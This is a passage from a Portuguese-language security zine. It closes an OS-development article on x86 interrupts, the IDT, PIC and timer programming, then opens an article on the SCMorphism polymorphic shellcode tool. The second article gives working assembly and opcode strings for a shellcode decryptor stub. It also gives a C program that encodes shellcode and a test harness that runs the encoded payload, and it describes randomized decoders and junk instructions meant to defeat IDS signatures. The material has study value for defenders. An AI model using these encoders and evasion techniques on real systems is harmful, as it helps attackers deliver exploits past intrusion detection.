vez. Um mutex como um semforo com um contador valendo 1. Se o mutex for requisitado por um thread, e este mutex estiver livre, o thread adquiri o mutex e este marcado como ocupado. Se o mutex j estiver ocupado, o thread bloqueado at que ele seja liberado. As sees crticas agem como o mutex. H casos em que, em relao aos 3 objetos, quando no se pode adquirir o objeto, o kernel/biblioteca implementa um retorno de erro ao invs do bloqueamento do thread. PRTICA - PROCESSOS Vamos comear com um exemplo de estrutura de contexto. struct Contexto { int int int int a; /* int sempre possui o tamanho do registrador acumulador (al, ax, eax, rax) */ b; /* base */ c; /* contador */ d; /* no me lembro =/ */

int si; /* ndice de fonte */ int di; /* ndice de destino */ short cs; /* segmento de cdigo */ short ds; /* segmento de dados */ short es; /* segmento de dados */ short fs; /* segmento de dados auxiliar */ short gs; /* segmento de dados auxiliar */ short ss; /* segmento da pilha */ int flags; /* flags */ }; No precisamos guardar cr3 (registrador base de diretrio de pginas) aqui, porque esta estrutura visa threads. cr3 dever ser guardado pelo processo, pois pertence a todos os threads (mesmo espao virtual). Voc leu que para as unidades de execuo dispem de um tempo para executar. Veremos como este tempo agendado com o auxlio do hardware, mas antes, precisamos entender o que so interrupes. INTERRUPES Uma interrupo , primariamente, uma maneira do hardware se comunicar com o software quando necessrio. Em segunda instncia uma interrupo uma maneira do software interagir com outros softwares. Imagine a seguinte situao: O programa A necessita escrever um arquivo no disco. O fluxo de operaes geralmente consiste em syscall (requisio), execuo dos comandos, bloqueamento do programa (subentenda a partir de agora programa como a menor unidade de execuo gerencivel pelo kernel (processo/thread)) e retorno do programa lista de execuo quando a escrita estiver terminada. bom ressaltar que os discos geralmente so milhares de vezes mais devagar do que os processadores (e consequentemente a execuo de instrues). Agora, na prtica, como o kernel saber que a escrita terminou e que hora de liberar o processo do bloqueamento, j que a maioria dos discos (seno todos) no bloqueiam o processador para executar tarefas? Simples, atravs de interrupes. Uma interrupo exatamente isso: uma INTERRUPO do fluxo atual de instrues para realizar alguma tarefa lateral. As interrupes de hardware dizem ao kernel que o hardware terminou de realizar alguma

53

tarefa, que precisa de mais entrada, que ocorreu erro, etc. Na arquitetura x86, podemos definir 256 interrupes, tendo as 32 primeiras funes fixas relativas ao processador e execuo (em modo protegido). As outras so livres para voc utilizar. Um exemplo de utilizao de interrupes em software o sistema operacional Linux, que utiliza a interrupo 80h (128) para receber syscalls. PRTICA - INTERRUPES A interrupo disparada pelo hardware denominada interrupo de hardware. As interrupes so montadas em uma tabela como a GDT, porm esta se chama IDT (Interrupt Descriptor Table - Tabela de Descritores de Interrupo). A IDT carregada da mesma maneira que a GDT, porm a IDT se localiza num registrador chamado idtr. Carrega-se a IDT utilizando um ponteiro para o tamanho (2 bytes) e a base (4 bytes) da IDT, com o auxlio das instrues lidt, que carrega o registrador idtr, e sidt, que armazena o valor do registrador idtr na memria. O endereo base da idt, assim como o da gdt, tem de ser fsico. Cada descritor da idt aponta para uma funo (cdigo) que executa determinada tarefa. Vamos dar uma olhada num descritor da idt: 31 16| 15|14 13|12 5|4 0 -------------------------------------------| Res/Offset 31:16 | P | DPL | nn(D) | Res | byte 4 -------------------------------------------31 16|15 0 -------------------------------------------| Segmento | Offset 15:00 --------------------------------------------

| byte 0

A IDT pode possuir at 156 descritores. Cada descritor possui 8 bytes. Vamos ver para que serve cada campo: Exemplo [bits onde se encontram no descritor do byte 4]: descrio Segmento: Valor de 16 bits que identifica o segmento para o qual este descritor aponta. Este segmento dever ser um segmento de cdigo. Offset [31:16]: Resto do offset que indica a posio do cdigo no segmento. Esse offset do descritor do byte 4 s est presente se o descritor for um interrupt ou call gate. Res [4:0 e 31:16]: Reservado, sempre 0. O valor reservado nos bits 31:16 substitudo pelo offset em interrupt e call gates. Nn [12:5]: Identifica o tipo de gate. Se o valor for 0x28 (00101000b), trata-se de um task gate. Se o valor for 0x30 (00110000b) ou 0x70 (01110000b) (veja o bit D), trata-se de um interrupt gate. Se o valor for 0x38 (00111000b)ou 0x78 (01111000b) (veja o bit D), trata-se de um trap gate. D [11]: Este bit est presente somente em interrupt e trap gates. Este bit identifica o tamanho do gate. Se for 0, o gate um gate de 16 bits. Se for um, um gate de 32 bits. DPL [14:13]: DPL do descritor (veremos DPL em proteo). P [15]: Identifica se o descritor est presente (P = 1) ou ausente (P = 0). Um task gate um gate que necessita que ocorra mudana de contexto no nvel do processador. Veremos isso em TSS. Um trap gate e um interrupt gate so similares, porm, um trap gate permite que interrupes ocorram durante sua execuo, enquanto o interrupt gate previne que interrupes ocorram

54

durante sua execuo (til para interrupes importantes) (IF = 0). As interrupes so chamadas atravs da instruo "int n", onde n o nmero da interrupo. O n na verdade um ndice na tabela. Cada n corresponde a um descritor. Como dito anteriormente, 32 destas interrupes so fixas. Estas so as 32 primeiras. Vamos ver para que serve cada uma: INT 0: Erro de diviso (geralmente diviso por 0) INT 1: Reservada INT 2: Interrupo NMI. (no vou mentir, ainda no sei para que serve o0) INT 3: Breakpoint. Gerada geralmente para debugar cdigo INT 4: Overflow durante operao matemtica ou checagem com a instruo "bound" INT 5: Exceo de bound. (tambm no sei :P) INT 6: Opcode invlido (instruo invlida ou execuo da instruo "UD2") INT 7: Dispositivo no disponvel (co-processador matemtico inativo ou inexistente) INT 8: Falta dupla (Ocorre se as interrupes 0, 10, 11, 12, 13 e 14 ocorrerem durante a execuo de outras interrupes. No caso da int 14, s h int 8 se a int 14 ocorrer durante a execuo de outra int 14) INT 9: Reservada INT 10: TSS invlido (veremos TSS depois) INT 11: Segmento ausente (o segmento carregado em cs, ds, es, fs ou gs est com o bit P desabilitado (P = 0)) INT 12: Falta da pilha (o segmento carregado em ss pousi o bit P desabilitado, foi referenciado um local na pilha inexistente, a pilha estava na base do segmento e foi executada a instruo "push", a pilha estava no limite do segmento e foi executada a instruo "pop" ou a instruo "enter" foi executada e no havia espao na pilha para alocar as variveis) INT 13: Falta geral (causada por qualquer referencia invlida de memria, carregar registradores de segmento com segmentos de sistema, exceder limites de segmentos e tabelas (GDT, LDT), violao de proteo e vrios outros motivos) INT 14: Falha de pgina (a pgina no est presente na memria (swapping? :]), a pgina possui um nvel de proteo no acessvel ao programa, tentativa de escrita em uma pgina somente-leitura ou um dos bits reservados na entrada do diretrio de pginas vale 1) INT 15: Reservada INT 16: Erro de ponto flutuante INT 17: Erro de alinhamento (A verificao de alinhamento est ativada e foi feita uma tentativa de acesso desalinhado) INT 18: Verificao de mquina (Falha de hardware, geralmente no bus) INT 19: Erro de ponto flutuante SIMD INT 20-31: Reservado

55

INT 32-255: Estes so seus =D As interrupes 8 e 18 so consideradas abortivas, ou seja, so erros severos do sistema. Algumas interrupes geram um erro e colocam-no na pilha (caso no tenha sido gerado externamente ou pela funo "int n"). O formato do valor, de 32 bits, est representado abaixo: 31 16|15 3| 2 | 1 | 0 ---------------------------------------------------| Reservado | Seletor de segmento | TI | IDT | EXT | ---------------------------------------------------O seletor de segmento [15:3] possui 13 bits, logo pode-se representar at 8192 segmentos (o mximo de descritores da GDT e da LDT). O bit TI [2] identifica, se o bit IDT for 0, se o segmento pertence GDT (TI = 0) ou LDT (TI = 1). O bit IDT identifica se o valor do seletor de segmento um descritor da IDT (IDT = 1) ou no (IDT = 0). O bit EXT indica se a interrupo foi gerada por um evento externo (como uma interrupo de hardware). As interrupes 8 e 17 colocam o valor 0 na pilha. As interrupes 10, 11, 12 e 13, colocam o descritor de erro representado acima na pilha. A interrupo 13 coloca o descritor se a mesma for causada por algum evento relativo a segmentos. Caso contrrio a int 13 coloca o valor 0 na pilha. A interrupo 14 coloca um valor na pilha cuja descrio est abaixo: 31 4| 3 | 2 | 1 | 0 --------------------------------| Reservado | RSV | US | RW | P | --------------------------------O bit RSV [3] identifica se a interrupo foi causada por violao de bits reservados (RSV = 1) (algum bit reservado habilitado num descritor de tabela no diretrio de pginas) ou no (RSV = 0). O bit US [2] identifica se o processador estava em modo usurio (US = 1) ou modo supervisor (US = 0) quando a interrupo ocorreu. O bit RW [1] identifica se a causa da interrupo foi uma tentativa da escrita (RW = 1) ou de leitura (RW = 0). O bit P [0] identifica se a interrupo foi causada por uma pgina no presente (P = 0) ou uma falha de proteo de pgina (P = 1). Estes valores de erro devem ser retirados da pilha antes do cdigo que manipula tais interrupes retornar. Agora que j vimos o que so as interrupes, como elas se comportam e etc, vamos ver a PIC. A PIC A pic um controlador utilizado dede os XT. A pic possui uma lista de requisies de interrupo (IRQs) que geralmente so acopladas, cada uma, a uma pea de hardware que necessita utilizar o mecanismo das interrupes. Na verdade, atualmente a pic so dois controladores. Comumente, as IRQs so dispostas da seguinte maneira: IRQ IRQ IRQ IRQ IRQ IRQ 0 1 2 3 4 5 Timer Teclado Cascateado COM 2 COM 1 IDE

56

IRQ IRQ IRQ IRQ IRQ IRQ IRQ IRQ IRQ IRQ

6 FLOPPY0 7 LPT 8 Relgio CMOS 9 Livre 10 Livre 11 Livre 12 Livre 13 Coprocessador matemtico 14 IDE0 15 IDE1

A IRQ2 na verdade uma ponte entre o segundo controlador da pic e o processador, ou seja, qualquer interrupo das IRQs 8 a 15 passam pela IRQ2 para chegar para o processador. As IRQs livres podem ser utilizadas pelo hardware. Duas peas do hardware que compartilham a mesma IRQ causam um conflito de hardware. As IRQs podem ser direcionadas para uma interrupo especifica. Para isso, devemos programar a pic. PRTICA - PIC Vamos programar a pic ento :D Ao programarmos a pic, damos-lhe dois ndices de interrupes. Assim, se programarmos o primeiro controlador com a interrupo 50, a IRQ0 ocupar a interrupo 50, a IRQ1 ocupar a interrupo 51, e assim em diante at a IRQ7 na int 57. Isso vale para o outro controlador. Vamos a um exemplo. Carregaremos a pic, colocando as IRQs do primeiro controlador na interrupo 0x30 e as do segundo na interrupo 0x40. A pic programada utilizando bytes conhecidos como ICWs. Veremos a estrutura do ICWs. ICW1: 76543210 ----------------|0|0|0|1|M|0|C|I| ----------------M [3]: Indica o modo que as linhas de IRQ0 a IRQ7 so ativadas. Deve sempre ser 0 em um PC. C [1]: Indica se h cascateamento de pics (C = 0) ou no (C = 1). Deve ser 0 se houver dois controladores de pic. I [0]: Indica se haver ICW4 aps o ICW3. Se estiver habilitado (I = 1), haver ICW4, caso contrrio (I = 0), no haver. ICW2: 76543210 ----------------|N|N|N|N|N|0|0|0| ----------------N [7:3]: A interrupo base a ser utilizada neste controlador. Os 3 ltimos bits so ignorados, forando assim, a interrupo base a ser um mltiplo de 8. Para cada IRQn, a interrupo N + n chamada. No caso de ICW3, o ICW3 do controlador principal diferente do ICW3 do controlador secundrio. ICW3 para o controlador principal:

57

76543210 ----------------|I|I|I|I|I|I|I|I| ----------------I [7:0]: Cada bit identifica se h um controlador ligado IRQ correpondente ao bit (I = 0), ou se a IRQ correspondente uma IRQ de hardware. Comumente, o bit 2 habilitado e os outros desabilitados, habilitando o segundo controlador a se comunicar com o processador atravs da IRQ2. ICW3 para o controlador secundrio: 76543210 ----------------|0|0|0|0|0| IRQ | ----------------IRQ [2:0]: Identifica a qual IRQ do controlador principal o controlador secundrio est ligado. Comumente a IRQ 2. ICW4: 765432 1 0 ----------------------|0|0|0|0|0|0|EOI|80x86| ----------------------EOI [1]: Este bit diz se o fim da interrupo feito automaticamente (EOI = 1) ou com auxlio do software (EOI = 0). Este bit geralmente desabilitado (EOI = 0), pois ele impede que a PIC gere interrupes enquanto outra interrupo estiver sendo processada. 80x86 [0]: Identifica se a pic est em um 80x86. Deve ser sempre 1. Para enviar o fim de interrupo, utiliza-se um comando chamado OCW2. Abaixo h uma descrio do OCW2: OCW2 (fim de interrupo): 76543210 ----------------|0|0|1|0|0|0|0|0| ----------------Talvez voc esteja se perguntando o que a OCW1. A OCW1 um comando de habilitao e desabilitao de IRQs. OCW1: 76543210 ----------------|I|I|I|I|I|I|I|I| ----------------I [7:0]: Cada bit indica uma intrrupo correspondente a sua posio no byte. Se o bit for 0, a interrupo habilitada, se for 1, desabilitada. Chega de conversa, vamos programar a pic :] outb(0x20, 0x11); /* Controlador 1 - ICW1 M=0, C=0, I=1 */ outb(0xA0, 0x11); /* Controlador 2 - ICW1 M=0, C=0, I=1 */

58

outb(0x21, 0x30); /* Controlador 1 - ICW2 INT = 0x30 */ outb(0xA1, 0x40); /* Controlador 2 - ICW2 INT = 0x40 */ outb(0x21, 0x04); /* Controlador 1 - ICW3 IRQ2 */ outb(0xA1, 0x04); /* Controlador 2 - ICW3 IRQ2 */ outb(0x21, 0x03); /* Controlador 1 - ICW4 EOI=0, 80x86=1 */ outb(0xA1, 0x03); /* Controlador 2 - ICW4 EOI=0, 80x86=1 */ OK, programada! Para o ICW0 e o OCW1, utilizamos a port 0x20 para o controlador 1 e a port 0xA0 para o controlador 2. Para o restante, utilizamos as ports 0x21 e 0xA1 para os controladores 1 e 2, respectivamente. Agora, sempre que a interrupo 0x30 for chamada, voc sabe que foi porque o timer foi disparado. este timer o mais utilizado para gerenciar o tempo dos processos. Este timer possui uma frequncia de 1.193.180 Hz, e pode-se controlar a freqncia com a qual so disparadas as interrupes atravs de um divisor de 16 bits. Este timer controlado pelo controlador 8253, e programvel. Vamos ver como podemos programar o timer. A port 0x43 utilizada para mandar comandos de controle do timer. O comando utilizado est descrito abaixo: 7 6|5 4|3 1| 0 ---------------------| CS | RL | MD | BCD | ---------------------CS [7:6]: Estes bits so utilizados para dizer ao controlador qual timer estar sendo utilizado. Temos 3 timers distintos. O primeiro (CS = 00b) usado para timer do sistema ( este que nos interessa). O segundo (CS = 01b) usado para operaes de atualizao no DMA. O terceiro (CS = 10b) para uso geral, e geralmente utilizado para controlar o Speaker. O modo 3 (CS = 11b) ilegal. RL [5:4]: Estes bits controlam a operao a ser realizada. Se forem 1 (RL = 01b), iremos escrever apenas a parte alta do divisor, se forem 2 (RL = 10b), iremos escrever apenas a parte baixa, se forem 3 (LSB = 11b), iremos escrever a parte baixa e, em seguida, a parte alta do divisor. MD [3:1]: Estes bits indicam o modo como o timer funcionar. Vejamos uma tabela: Modo 0 (000b) : Este modo inicia uma contagem com um valor programado, e decrementa o valor de contagem cada vez que o timer acionado. Quando o timer for 0, acontece a interrupo e o timer pra at que seja introduzido um novo valor de contagem. Se o valor de contagem for mudado durante a contagem, a contagem parada. Modo 1 (001b) : Este modo semelhante ao anterior, porm recarregar o valor do timer no interrompe a contagem. Aps a contagem original, inicia-se a contagem com o novo valor. Modo 2 (010b) : Gera um pulso a cada N ciclos do timer. Mudar o valor s funciona aps o fim do ciclo. Modo 3 (011b) : Gera um pulso a cada N ciclos, onde N0 o valor original, N1 o valor original dividido por 2, N2, o valor dividido por 4, e assim em diante (Ni = N0 / 2^i), at chegar a 0, e, ento a contagem reiniciada. Mudar o valor s funciona aps o fim do ciclo. Modo 4 (100b) : Produz um nico pulso, aps N clocks, sendo N o valor de contagem, e depois aguarda at que o contador seja alterado.

59

Modo 5 (101b) : Modo gerenciado pelo hardware. No nos interessa. BCD [0] : Identifica se o valor usado no timer binrio-hexadecimal (BCD = 0) ou binriodecimal (BCD = 1). O padro binrio-hexadecimal. Para todos os timers, utilizamos a port 0x43 para mandar este comando. Para cada timer, temos uma port diferente para configurarmos o valor de contagem. Para o timer 0, utilizamos a port 0x40, para o timer 1, a port 0x41 e para o timer 2, a port 0x42. O valor do divisor pode estar entre 1 e 65535. Se o valor for 0, o controlador interpreta-o como 65536. Assim, a configurao mais devagar que podemos ter com este timer a de 1193180/65536 = 18.2 vezes por segundo (aproximadamente 1 interrupo a cada 55 ms) Vamos a um exemplo: outb(0x43, 0x34); /* RL = 11, modo 2 */ outb(0x40, 0); /* Parte baixa */ outb(0x40, 0); /* Parte alta */ Com isso obtemos aquela frequncia de 18.2 hz para a interrupo. Vamos a outro exemplo: outb(0x43, 0x34); /* RL = 11, modo 2 */ outb(0x40, 1); /* Parte baixa */ outb(0x40, 0); /* Parte alta */ Com isso obtemos uma frequncia de 1193180 (1 milho de) interrupes por segundo. Isso nos d uma interrupo a cada 0.000000838 segundos. Com essas bases, pode-se calcular quanto tempo deseja-se dar para os processos dentro dos valores possveis. TSS Uma TSS uma estrutura utilizada pelos processadores da arquitetura x86 para auxiliar a mudana de contexto entre processos. Um TSS armazena informaes teis ao processador utilizadas na mudana de contexto. Vejamos um exemplo de estrutura de um TSS: 31 16|15 0 ----------------------------------------------------------| I/O Base | |T| Byte 100 ----------------------------------------------------------| | Seletor de LDT | Byte 96 ----------------------------------------------------------| | GS | Byte 92 ----------------------------------------------------------| | FS | Byte 88 ----------------------------------------------------------| | DS | Byte 84 ----------------------------------------------------------| | SS | Byte 80 ----------------------------------------------------------| | CS | Byte 76 ----------------------------------------------------------| | ES | Byte 72 ----------------------------------------------------------| EDI | Byte 68 ----------------------------------------------------------| ESI | Byte 64

60

----------------------------------------------------------| EBP | Byte 60 ----------------------------------------------------------| ESP | Byte 56 ----------------------------------------------------------| EBX | Byte 52 ----------------------------------------------------------| EDX | Byte 48 ----------------------------------------------------------| ECX | Byte 44 ----------------------------------------------------------| EAX | Byte 40 ----------------------------------------------------------| EFLAGS | Byte 36 ----------------------------------------------------------| EIP | Byte 32 ----------------------------------------------------------| CR3 | Byte 28 ----------------------------------------------------------| | SS2 | Byte 24 ----------------------------------------------------------| ESP2 | Byte 20 ----------------------------------------------------------| | SS1 | Byte 16 ----------------------------------------------------------| ESP1 | Byte 12 ----------------------------------------------------------| | SS0 | Byte 8 ----------------------------------------------------------| ESP0 | Byte 4 ----------------------------------------------------------| | LTL | Byte 0 ----------------------------------------------------------Os campos dos registradores falam por si. Vamos ver para que servem os campos SSn, ESPn, CR3, LTL, LDT, T e I/O Base. Os campos extras para SS e ESP provm do fato de que para cada nvel de privilgio (veremos segurana depois), o segmento de pilha deve ser diferente. Assim, quando um programa pula, chama uma interrupo ou faz qualquer coisa, a pilha trocada para acompanhar o nvel de privilgio atual. Isso impede que a pilha estoure por falta de espao durante uma syscall por exemplo. CR3 o nosso diretrio de pginas referente a este processo. LTL um link para o segmento que indica a prxima TSS. Assim, se um programa executar um "iret", por exemplo, indicando fim de programa, o processador ir mudar o contexto para o TSS apontado por este link. LDT indica a LDT que usaremos neste processo. T [0] este bit indica se o processador dever executar uma "int 3" (debug) quando o processo for (re)iniciado. I/O Base: um deslocamento (offset) da base da TSS at um mapa de bits (bitmap) que indica se determinadas ports so acessveis a este processo. Por exemplo, se este offset aponta para uma tabela de 8 ports (1 byte), e seus bits so 11001111b, as ports 4 e 5 esto habilitadas para uso (0) e as outras esto desabilitadas. O ltimo byte deste mapa dever ser 0xFF (11111111b). No necessrio mapear todo o espao de I/O, apenas da primeira port at a port que voc quiser, depois disso, coloca-se o byte 0xFF e indica-se limite de TSS na GDT (a

61

TSS um segmento, lembra-se). Se no for necessrio um mapa de bits, coloque o valor do deslocamento (incio do mapa) acima ou igual ao limite da TSS. Qualquer por que no esteja no mapa tratada com inacessvel se o processo no possuir privilgios suficientes. WOW. J foi bastante coisa, acho melhor deixar o resto para um outro artigo. O assunto extenso mas legal. Na continuao, iremos ver como funciona a proteo da arquitetura, voltaremos teoria com sistemas de arquivos, e pratica, aprendendo a carregar arquivos de um disco (isso valioso, porque aprender a carregar ou escrever qualquer coisa num disco sem a bios um saco, e alm disso ensinarei como acessar discos com mais de 130GB ^^). Vamos parando por aqui, porque eu vou lanar o artigo numa zine (cara folgado neh, lana numa zine e ocupa trocentas pginas...). Well, eu nunca escrevo, mas quando comeo nem paro :P. No procurem meus artigos, s escrevi 3 at hoje e o melhor deles este, tem um sobre hardware ( da poca em que eu achava que processador era o advogado que processa os outros, e outro sobre api do windows (duma outra poca que no est to distante assim (no ria)). Peo desculpas pela falta de organizao! Bem, pessoas, espero que tenha ajudado em algo! ^^ Bibliografia: Manuais da Intel (1 e 3) "A20 - A pain from the past", autor annimo "Programming The PIC: PicBasic Pro", Tom alguma_coisa "Programmable Interrupt Controler programming", por Xavier Leclerq"IRQs and DMAs", por CR4CK1N6 "The Timer!!!", por Mitch "8253/54 Timer", autor annimo "The 8253 Timer", autor annimo Contato: email: vo@motdlabs.org MSN: tryah@hotmail.com PS: No me lembro de bons links sobre os, mas do que eu lembro, lembro de www.osdever.alguma_coisa e www.osdevel.alguma_coisa. Acho q alguma_coisa .net e .org, mas s ACHO!

62

SCMORPHISM
Por Rodrigo Rubira Branco (BSDaemon) bsdaemon@bsdaemon.org

Cuidado: Esta procura ser uma traduo do meu texto original HowItWorks.txt que foi escrito em ingls devido a natureza e funo da ferramenta e portanto pode no estar totalmente atualizado. O objetivo deste texto seria explicar como funciona a ferramenta SCmorphism. Explicaes utilizadas neste texto seriam o ponto de inicio para comecar uma ferramenta como o scmorphism, voc mesmo. Se voc apenas deseja aprender as tcnicas, este texto pode ser para voc tambm. Eu realmente quero agradecer ao Darksock da UHAGR porque ele me enviou boa parte dos exemplos sobre polimorfismo demonstrados neste texto. Eu modifiquei o texto dele para ser mais facilmente entendido e acrescentei diversas partes. Primeiramente, minha inteno seria explicar como as tcnicas de Polimorfismo funcionam e tambm mostrar ao leitor como um DECODER pode ser modificado para tornar praticamente impossivel de ser detectado. Para entender mais sobre polimorfismo, tambm pode-se ler o artigo do Rix na phrack. Um shellcode polimorfico possui o seguinte formato: -------------call decryptor -------------shellcode -------------decryptor -------------jmp shellcode -------------O decryptor fica responsvel por realizar o processo inverso ao utilizado na codificacao do seu shellcode. Este processo pode ser, por exemplo: ADD SUB XOR SHIFT

63

- Encriptao (como DES) Quando fazemos uma chamada CALL o endereco do prximo cdigo (neste caso o do shellcode) fica armazenado na stack. Ento, o decoder pode facilmente pegar o endereo do shellcode armazenando-o em um registrador de uso geral. O que o decoder precisa fazer seria apenas manipular os bytes do shellcode e executar um jump para o endereo deste. Portanto teramos algo assim (algoritmo): -----------------------------------------------------call decryptor shellcode: .string encrypted_shellcode decryptor: xor %ecx, %ecx mov sizeof(encrypted_shellcode), %cl pop %reg looplab: mov (%reg), %al - manipulate al according to the encryption mov %al, (%reg) loop looplab jmp shellcode ------------------------------------------------------Agora temos um exemplo de cdigo que funciona: .globl main main: call decryptor shellcode: .string "\x32\xc1\x32\xdc\xb1\x02\xce\x81" // exit(0) shellcode // increased by 1 . decryptor: pop %ebx // we are going to using as an address reg: %ebx . xor %ecx, %ecx // Zero out %ecx mov $0x08, %cl // 0x08 == sizeof(shellcode) . looplab: mov (%ebx), %al // mov the byte pointed by %ebx to %al . dec %al // The manipulation/decryption :P . mov %al, (%ebx) // put the byte, decrypted now, back where it belongs. inc %ebx // increase the address by 1, get the next byte . dec %cx jnz looplab jmp shellcode // decrease our counter register: %cx . // if %cx is not equal to zero, then continue // decrypting. // Finaly, jump to our decrypted shellcode

Realmente muito fcil de entender, porm com alguns problemas. Voc no pode usar este cdigo compilado porque recebera um SIGSEGV devido ao fato de ele tentar escrever no .text (seo de cdigo) que geralmente estar mapeado como +rx. No formato opcode este cdigo funciona bem (porque estaria na stack).

64

Agora apenas precisa-se concatenar o shellcode no final do seu decoder. Modificar o mov sizeof(shellcode), %cx bytes. Claro que voc precisa tomar cuidado para eliminar qualquer zer-bytes no seu opcode do decoder porque o sistema iria entender isto como fim de string. Tambm podemos fazer alguns otimizaes, como estes instrues: mov (%ebx), %al dec %al mov %al, (%ebx) Que so igualmente transformadas em: subb $0x01, (%ebx) Outras melhorias podem ser feitas, este cdigo seria apenas um exemplo de como se implementar e desenvolver um decoder. Neste exemplo o mecanismo de cifragem realmente est simples e realmente foi muito fcil de ser desenvolvido. Outros mecanismos podem manipular apenas byte a byte e serem realmente obvios de serem desenvolvidos (tais como XOR). De qualquer forma, compilado isto possui os seguintes opcodes. Aqui est (comeando do call): in main: 0xe8 0x09 // This byte is the relative address of the decryptor 0x00 // This Zero bytes are troubling as. But we must use 0x00 // the call instruction to get the shellcodes address 0x00 // so we must redesigned our shellcode Agora o cdigo modificado: .globl main main: jmp getaddr decryptor: pop %ebx xor %ecx, %ecx mov $0x08, %cl looplab: mov (%ebx), %al dec %al mov %al, (%ebx) inc %ebx dec %cx jnz looplab jmp shellcode getaddr: call decryptor shellcode: .string "\x32\xc1\x32\xdc\xb1\x02\xce\x81"

65

Acredito que vocs podem entender este cdigo, ento vamos verificar os opcodes novamente: (opcodes encontrados utilizando-se gdb, com (gdb) x/bx endereo) in main 0xeb 0x12 // relative address of getaddr, still wont change in decryptor 0x5b 0x31 0xc9 0xb1 0x08 // Shellcode bytes, must be smaller than 0xff bytes, wont be the same // for every shellcode, must be changed each time. in looplab 0x8a 0x03 0xfe 0xc8 0x88 0x03 0x43 0x66 0x49 0x75 0xf5 0xeb 0x05 // This byte is the relative address of shellcode - Wont change in getaddr 0xe8 0xe9 // Relative address of decryptor - Wont change 0xff // This way we are getting a negative relative address 0xff // so we avoid those zero-bytes ;) 0xff in shellcode: 0x32 0xc1 0x32 0xdc 0xb1 0x02 0xce 0x81 Como pode ser visto o endereo fixo nao mudar mesmo que o shellcode mude. O decoder pode ser usado para qualquer shellcode, tendo apenas que modificar o byte 0x08 do decoder para ser igual ao tamanho do shellcode, para cada shellcode. No scmorphism isto est sendo feito trocando-se o byte da string no programa em C. Aqui est um programa em C para dar uma saida de um shellcode criptografado se for fornecido um shellcode que funcione: #include <stdio.h> // // BYTE_TO_MODIFY: pointer to the byte which we need to // modify in decryptor. Decryptor's size is -> 25 bytes <// So your encrypted shellcode will enlarge by 25 bytes. // #define BYTE_TO_MODIFY 4

66

char decryptor[] = "\xeb\x12\x5b\x31\xc9\xb1\xdb\x8a\x03" "\xfe\xc8\x88\x03\x43\x66\x49\x75\xf5" "\xeb\x05\xe8\xe9\xff\xff\xff"; int main( int argc, char *argv[] ) { int i; if( argc != 2 ) { fprintf( stdout, "Usage: %s [ shellcode ]\n", argv[0] ); exit( 1 ); } if( strlen( argv[1] ) < 256 ) { decryptor[BYTE_TO_MODIFY] = strlen( argv[1] ); fprintf( stdout, "\nThe encrypted shellcode is:\n\n" ); for( i = 0; i < strlen( decryptor ); i++ ) fprintf( stdout, "\\x%02x", ( long ) decryptor[i]); for( i = 0; i < strlen( argv[1] ); i++ ) fprintf( stdout, "\\x%02x", ( long ) *( argv[1] + i ) + 1 ); fprintf( stdout, "\n\n" ); } else bytes\n" ); return( 0 ); } Assim que um decoder funciona (e pode ser desenvolvido) como foi iniciado o projeto SCMorphism. Na vida real o tamanho do shellcode ser incrementado conforme o tamanho do decoder, portanto apresentamos uma verso otimizada do cdigo anterior: .globl main main: jmp getaddr fprintf( stdout, "It is only possible if the given shellcode is smaller than 256

decryptor: popl %ebx xorl %ecx, %ecx movb $0x08, %cl looplab: subb $0x01, (%ebx) inc %ebx loop looplab jmp shellcode getaddr: call decryptor

67

shellcode: .string "\x32\xc1\x32\xdc\xb1\x02\xce\x81"

Com os opcodes do decoder sendo agora: // // 20bytes Decrypter Engine, 5bytes less. Not bad ;) // Once again decryptor[4] must be changed to the // size of the given shellcode. // char decryptor[] = "\xeb\x0d\x5b\x31\xc9\xb1\x08\x80\x2b\x01" "\x43\xe2\xfa\xeb\x05\xe8\xee\xff\xff\xff" E um cdigo final de testes: --- test.c --#include <stdio.h> // // Decryptor + exit(0); Encrypted shellcode // char sc[] = "\xeb\x0d\x5b\x31\xc9\xb1\x08\x80" "\x2b\x01\x43\xe2\xfa\xeb\x05\xe8" "\xee\xff\xff\xff\x32\xc1\x32\xdc" "\xb1\x02\xce\x81"; int main( void ) { void ( *x ) ( ) = ( void * ) sc; x( ); } return( 0 );

$ strace ./test .. stuff .... .. more stuff .... .. stuff .... close(3) munmap(0x40012000, 36445) _exit(0) =?

=0 =0

Finalizando como um decoder pode ser desenvolvido e como funciona. Agora vamos falar sobre as tcnicas da ferramenta SCMorphism. Primeiramente, o documento foi terminado de ser escrito em 25 de maio de 2004 e pode no vir a ser atualizado com novos recursos do SCMorphism. Veja o ChangeLog para saber mais sobre estes. SCMorphism iniciou quando wsxz da priv8security falou comigo sobre como codificar um shellcode (usando um decoder XOR). Eu gostei da ideia e ele me falou para escrever uma ferramenta que fizesse isso

68

automaticamente. Li o paper do Rix sobre o assunto e falei com o Darksock e outras pessoas (pode ver todas usando a opcao -v do scmorphism). Estas pessoas me deram muitas idias e iniciei a escrita da ferramenta. Muitas ferramentas esto disponiveis para fazer partes do que o scmorphism faz, porm no conheco nenhuma que faz tudo que este faz. Minha inteno no est apenas em codificar o shellcode original com um valor randmico e colocar um decoder na frente deste. Eu quero colocar um decoder randomicamente gerado. SCMorphism pode criar decoder XOR/ADD/SUB/ByteShift randomicamente gerados, sendo diferentes variaess do mesmo tipo de decoder. Os decoders foram divididos em peas (obrigado a Zillion@safemode.org pela ideia utilizada na sua ferramenta chamada s-poly). Usando estas peas, a ferramenta pode criar randomicamente decoder, manipulando estas peas e introduzindo "instrues do nothing". Isto d ao usurio um shellcode codificado diferente a cada uso da ferramenta. As instrues "do nothing" ("no facam nada") usadas e os decoders randomicamente gerados tornam impossivel a escrita de assinaturas IDS para a ferramenta (ou isso ir dar ao admin muitos falsos positivos). Quando voc chamar a funo de codificao ela gera um nmero randomico para ser utilizado na escolha da pea (o tipo do shellcode pode ser escolhido pelo usurio ou tambem randomicamente escolhido. O nmero usado para as operaes de codificao tambm pode ser escolhido pelo usurio ou randomicamente gerado). Se desejar deativar a escolha randmica do decoder, utilize a opo -o (optimizar). O nmero escolhido para as operaes de codificao ser utilizado para realizar as modificaes no shellcode (shift bytes, xorar ele, incrementar ou decrementar). Caracteres ruins podem ser escolhidos pelo usurio (vendo o TODO voc descobrir que no futuro o SCmorphism devera implementar gerao de decoder alfanumrico). Se o usurio no escolher nenhum caracter ruim, o sistema ir utilizar \0, \r e \t (obrigado Strider da priv8security). Tambm inclui uma matriz de "instrues no faca nada" que no oferecam problemas com o processo de decodificao. Esta matriz (obrigado ao Strider novamente) sempre est sendo utilizada para a escolha randmica das operaes no faa nada que so colocadas no meio do 